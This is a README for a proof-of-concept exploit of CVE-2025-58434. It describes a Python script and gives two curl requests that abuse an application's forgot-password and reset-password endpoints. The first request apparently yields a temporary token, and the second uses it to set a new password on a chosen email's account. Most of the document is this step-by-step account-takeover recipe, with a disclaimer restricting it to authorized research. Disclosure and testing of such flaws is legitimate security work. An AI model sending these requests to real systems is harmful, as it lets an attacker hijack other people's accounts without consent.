CVE-2025-58434 PoC

Python proof-of-concept script for triggering POST /api/v1/account/forgot-password.

⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.

Credit

• zaddy6 (Isaac David)
• arthurgervais (Arthur Gervais)

Details

• PoC for CVE-2025-58434
• Reference: https://github.com/advisories/GHSA-wgpv-6j63-x5ph

Files

• poc.py: prompts for machine URL/IP, optional protocol when bare host/IP used, target email, and password; then sends request and prints HTTP status, headers, and response body similar to curl -i

Usage

Run:

python3 poc.py

Then provide:

• machine URL/IP, like 10.10.11.10, http://10.10.11.10, or https://target.example
• protocol if prompted for bare host/IP
• email address
• password

Equivalent curl

1st Request

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

2nd Request

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'